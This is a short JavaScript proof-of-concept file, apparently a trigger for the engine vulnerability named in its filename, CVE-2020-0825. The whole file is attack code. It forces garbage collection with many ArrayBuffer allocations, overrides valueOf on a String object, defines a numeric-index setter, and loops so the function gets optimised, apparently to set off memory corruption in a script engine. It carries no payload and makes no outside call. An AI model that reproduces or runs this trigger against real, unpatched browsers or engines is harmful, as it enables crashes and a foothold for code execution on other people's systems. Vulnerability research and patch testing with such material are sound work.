CVE-2020-0825.js

function gc() {
    for (let  i = 0; i < 100; ++i) {
        new ArrayBuffer(0x10000);
    }
}

function opt() {
    var v1 = {
        b:41
    };
    gc();
    g.valueOf = function () {
        return v1.b;
    };
    g.valueOf();
    g.__defineSetter__(40,function() {})
}

g = new String("A");
for (var i = 0; i < 200; i++) {
    opt();
}